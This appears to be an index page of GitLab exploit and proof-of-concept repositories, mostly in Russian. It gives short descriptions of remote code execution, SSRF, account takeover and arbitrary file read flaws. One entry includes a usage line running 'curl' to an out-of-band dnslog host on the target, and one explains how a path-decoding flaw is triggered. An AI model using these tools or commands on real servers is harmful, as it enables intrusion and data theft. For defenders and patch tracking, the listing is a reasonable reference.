gitlab-exploit

gitlab-exploit GitLab CVE-2023-7028 GitLab CVE-2023-7028 Уязвимость была вызвана ошибкой в обработке проверки электронной почты при сбросе пароля в GitLab. Злоумышленник мог указать два адреса электронной почты в запросе на сброс пароля, и код сброса отправлялся на оба адреса. Это позволяло...

gitlab-ssrf

GitLab SSRF Этот репозиторий является воспроизведением CVE-2018-19571 и демонстрирует, как в сочетании с эксплуатацией CRLF-инъекции это может привести к удалённому выполнению кода RCE. Детали CVE CVE-2018-19571 GitLab CE/EE версий с 8.18 до 11.x до 11.3.11, с 11.4 до 11.4.8 и с 11.5 до 11.5.1...

CVE-2023-2825

CVE-2023-2825 23 мая 2023 года GitLab выпустил версию 16.0.1, которая исправила критическую уязвимость CVE-2023-2825, затрагивающую Community Edition CE и Enterprise Edition EE версии 16.0.0. Уязвимость позволяет неаутентифицированным пользователям читать произвольные файлы через ошибку path...

CVE-2021-22205

CVE-2021-22205 Затронутые версии: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Использование python3 CVE-2021-22205.py target "curl \whoami.dnslog" Получение csrf-token: Через /users/signin получаем csrf-token, затем с помощью предыдущего CVE-2021-22205 poc формируем пакет для...

CVE-2022-1162

CVE-2022-1162 Жестко заданный пароль был установлен для учетных записей, зарегистрированных с использованием провайдера OmniAuth например, OAuth, LDAP, SAML в GitLab CE/EE версий 14.7 до 14.7.7, 14.8 до 14.8.5 и 14.9 до 14.9.2, что позволяло злоумышленникам потенциально захватывать учетные записи...

CVE-2021-22205

Воздействие уязвимости Обнаружена проблема в GitLab CE/EE, затрагивающая все версии, начиная с 11.9. GitLab не выполнял надлежащую проверку файлов изображений, передаваемых парсеру, что приводило к удаленному выполнению команд. Продукт уязвимости Gitlab CE/EE /tmp/1.txt" Массовое сканирование...

CVE-2021-22214

CVE-2021-22214 Описание - POC для CVE-2021-22214: неавторизованная SSRF-уязвимость Gitlab CI Lint API - создано antx 2021-11-01. Подробности - Когда включены запросы к внутренней сети для webhooks, уязвимость подделки запросов на стороне сервера SSRF в GitLab CE/EE, затрагивающая все версии,...

CVE-2021-22205

CVE-2021-22205 설명 - POC for CVE-2021-22205: Gitlab CE/EE RCE 未授权远程代码执行漏洞 POC && EXP - antx에 의해 2021-10-29에 작성됨. 상세 - GitLab CE/EE의 11.9부터 모든 버전에 영향을 미치는 문제가 발견되었습니다. GitLab은 파일 파서에 전달된 이미지 파일을 제대로 검증하지 않아 원격 명령 실행이 발생했습니다. CVE 심각도 - attackComplexity: LOW - attackVector: NETWORK -...

CVE-2021-22205

CVE-2021-22205 Из-за того, что GitLab неправильно проверяет файлы изображений, передаваемые парсеру, возникает выполнение команд. Злоумышленник может сконструировать вредоносный запрос и выполнить произвольные команды в целевой системе, что в итоге приводит к захвату сервера GitLab. Поскольку в...

CVE-2026-85706

CVE-2026-85706: неавторизованный обход пути в GitLab CE/EE CVE : CVE-2026-85706, CVSS 3.1 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N Компонент : GitLab CE/EE Repository Commits API вариант body-upload в Workhorse Затронуто : 18.7 ≤ version 19.1.8, 19.2.0–19.2.5, 19.3.0–19.3.1 Исправлено : 19.1.8 /...

CVE-2023-7028

CVE-2023-7028 Обнаружена проблема в GitLab CE/EE, затрагивающая все версии от 16.1 до 16.1.6, от 16.2 до 16.2.9, от 16.3 до 16.3.7, от 16.4 до 16.4.5, от 16.5 до 16.5.6, от 16.6 до 16.6.4 и от 16.7 до 16.7.2, в которых письма для сброса пароля учётной записи могли доставляться на неподтверждённый...

GitLabSniper

GitLabSniper CVE-2026-85706 — неаутентифицированное чтение произвольных файлов в GitLab CE/EE обнаружение · перечисление публичных проектов · сбор данных · интерактивная оболочка · конвейер subfinder/httpx Автор: Yunus Emre Öztaş mitsec X: x.com/ynsmroztas GitHub: github.com/ynsmroztas Сайт:...

CVE-2021-22205

Влияние уязвимости В GitLab CE/EE обнаружена проблема, затрагивающая все версии начиная с 11.9. GitLab не выполнял надлежащую проверку файлов изображений, передаваемых парсеру файлов, что приводило к удалённому выполнению команд. Уязвимый продукт Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab...

cve-2026-85706

cve-2026-85706 Неаутентифицированное произвольное чтение локальных файлов в GitLab CE/EE. Затрагивает 18.7–19.1.7, 19.2.0–19.2.5, 19.3.0–19.3.1. Исправлено в 19.1.8 / 19.2.6 / 19.3.2 2026-09-10. CVSS 10.0, по сообщениям эксплуатируется в дикой природе. Оригинальный отчёт от s3ntago, а этот...

CVE-2026-85706-PoC

CVE-2026-85706: неаутентифицированное чтение произвольных локальных файлов в GitLab CE/EE CVE-2026-85706 — критическая уязвимость обхода пути / отсутствия аутентификации в API Repository Commits и Repository Files GitLab CE/EE: неаутентифицированный злоумышленник может заставить сервер прочитать...

CVE-2023-7028

CVE-2023-7028 Gitlab CVE-2023-7028: перехват учетной записи через сброс пароля без участия пользователя Критическая уязвимость в GitLab CE/EE CVE-2023-7028 может быть легко использована злоумышленниками для сброса паролей учетных записей пользователей GitLab. Несмотря на наличие уязвимости,...

CVE-2021-22205

CVE-2021-22205 GitLab CE/EE RCE pré-authentifié via ExifTool Ce projet est uniquement destiné à l'apprentissage. Si les droits de quelqu'un ont été violés, veuillez me contacter pour retirer le projet. Enfin,NE L'UTILISEZ PAS ILLÉGALEMENT. Si vous avez un comportement illégal lors de l'utilisatio...

GitLab CE/EE <=19.1.7/19.2.5/19.3.1 - Arbitrary File Read

GitLab CE/EE contains an unauthenticated arbitrary file read. Workhorse, the reverse proxy in front of Rails, matches upload routes using EscapedPath and path.Clean without decoding percent sequences, while Puma decodes them before routing to Grape. Appending a trailing slash to commits or...

CVE-2026-19478

CVE-2026-19478 GitLab GraphQL неаутентифицированное удаление проекта ★ CVE-2026-19478 GitLab GraphQL @glintroduced неаутентифицированный PoC произвольного вызова методов ★ https://github.com/user-attachments/assets/bb5d5f8a-a9bf-4148-854b-14c25c501d4b Обзор CVE-2026-19478 — это...

CVE-2021-22205-gitlab

Влияние уязвимости В GitLab CE/EE обнаружена проблема, затрагивающая все версии, начиная с 11.9. GitLab не выполнял надлежащую проверку файлов изображений, передаваемых в анализатор файлов, что приводило к удалённому выполнению команд. Уязвимый продукт Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6...